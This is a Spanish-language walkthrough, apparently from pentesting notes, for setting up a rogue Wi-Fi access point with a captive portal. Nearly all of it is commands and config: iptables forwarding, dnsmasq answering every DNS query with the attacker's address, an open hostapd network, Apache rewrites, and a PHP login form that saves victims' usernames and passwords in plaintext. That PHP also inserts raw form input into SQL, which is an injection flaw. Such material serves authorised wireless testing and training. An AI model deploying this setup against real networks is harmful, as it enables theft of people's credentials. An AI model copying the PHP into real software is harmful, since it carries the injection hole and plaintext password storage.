Fake AP for Captive Portal

1. Creación del punto de acceso

Para esto paso vamos a necesitar 3 cosas para crear un punto de acceso:

a) Un router para montar el AP

b) Un servidor DHCP para asignar las direcciones ip's a los clientes

c)Un servidor DNS para manejar las peticiones

Primero se tiene que modificar iptables y activar la retransmisión de paquetes:

echo 1 > /proc/sys/net/ipv4/ip_forward  # Permite retransmititir paquetes de una interfaz de red a otra
iptables --flush                        # Borrar todas las reglas de iptables en las tablas "filter", "nat" y "mangle
iptables --table nat --flush            # Borrar todas las reglas de iptables en la tabla "nat".
iptables --delete-chain                 # Borrar todas las cadenas personalizadas de iptables en la tabla "filter".
iptables --table nat --delete-chain     # Borrar todas las cadenas personalizadas de iptables en la tabla "nat".
iptables -P FORWARD ACCEPT              # Permite el reenvío de paquetes entre interfaces de red.

Crear archivos necesarios para el AP:

dnsmasq.conf
# Nombre de la interfaz de red
interface=wlan0

# Rango de ip's y tiempo que van a durar
dhcp-range=10.0.0.10,10.0.0.100,8h

# Ip del gateway (ip nuestra)
dhcp-option=3,10.0.0.1

# Ip del dns (ip nuestra)
dhcp-option=6,10.0.0.1

# Redireccionar todas las requests a nuestra ip
address=/#/10.0.0.1
hostapd.conf
# Interfaz de red
interface=wlan0

# Nombre de la red
ssid=wifi

# Canal en el que va a estar nuestro AP
channel=1

# Driver de la interfaz de red
driver=nl80211

Crear certificado SSL:

openssl req -new -x509 -days 365 -out $(pwd)/cert.pem -keyout $(pwd)/cert.key

Redireccionar todo el tráfico hacia el server apache y habilitar SSL

a2enmod rewrite     # Habilita las rewritesrules en apache

a2enmod ssl                                   # Habilitar ssl
echo "Listen 443" >> /etc/apache2/ports.conf  # Opcional si no se configuró solo
# Agregar esas lineas al final del /etc/apache2/sites-enabled/000-default.conf

<VirtualHost *:443>
	SSLEngine On
	SSLCertificateFile /home/lorito/Desktop/cert.pem
	SSLCertificateKeyFile /home/lorito/Desktop/cert.key
</VirtualHost>
<Directory "/var/www/html">
	RewriteEngine On
	RewriteBase /
	RewriteCond %{HTTP_HOST} ^www\.(.*)$ [NC]
	RewriteRule ^(.*)$ http://%1/$1 [R=301,L]
	RewriteCond %{REQUEST_FILENAME} !-f
	RewriteCond %{REQUEST_FILENAME} !-d
	RewriteRule ^(.*)$ / [L,QSA]
</Directory>

Ejemplo básico de login con PHP

apt install php-mysql # Permite usar mysql con php
apt install mariadb-server mariadb-client 

sudo mysql -u root 
CREATE DATABASE basededatos;l
CREATE USER 'usuario'@'localhost' IDENTIFIED BY 'contraseña';
GRANT ALL PRIVILEGES ON basededatos.* TO 'usuario'@'localhost';
FLUSH PRIVILEGES;
index.html
<!DOCTYPE html>
<html>
<head>
	<title>Formulario de registro</title>
</head>
<body>
	<form action="guardar.php" method="post">
		<label>Username:</label><br>
		<input type="text" name="username"><br>
		<label>Password:</label><br>
		<input type="password" name="password"><br><br>
		<input type="submit" value="Registrarse">
	</form>
</body>
</html>
<?php

// Conectar a la base de datos
$conexion = mysqli_connect("localhost", "usuario", "contraseña", "basededatos");

// Verificar la conexión
if (!$conexion) {
	die("Error al conectar a la base de datos: " . mysqli_connect_error());
}

// Recuperar los valores del formulario
$username = $_POST['username'];
$password = $_POST['password'];

// Insertar los valores en la base de datos
$sql = "INSERT INTO usuarios (username, password) VALUES ('$username', '$password')";

if (mysqli_query($conexion, $sql)) {
	echo "Registro guardado correctamente";
} else {
	echo "Error al guardar el registro: " . mysqli_error($conexion);
}

// Cerrar la conexión a la base de datos
mysqli_close($conexion);
?>

Activar el punto de acceso

hostapd $(pwd)/hostapd.conf -B
dnsmasq -C $(pwd)/dnsmasq.conf
ifconfig <wlan iface> 10.0.0.1 netmask 255.255.255.0
service apache2 start
service mysql start

Last updated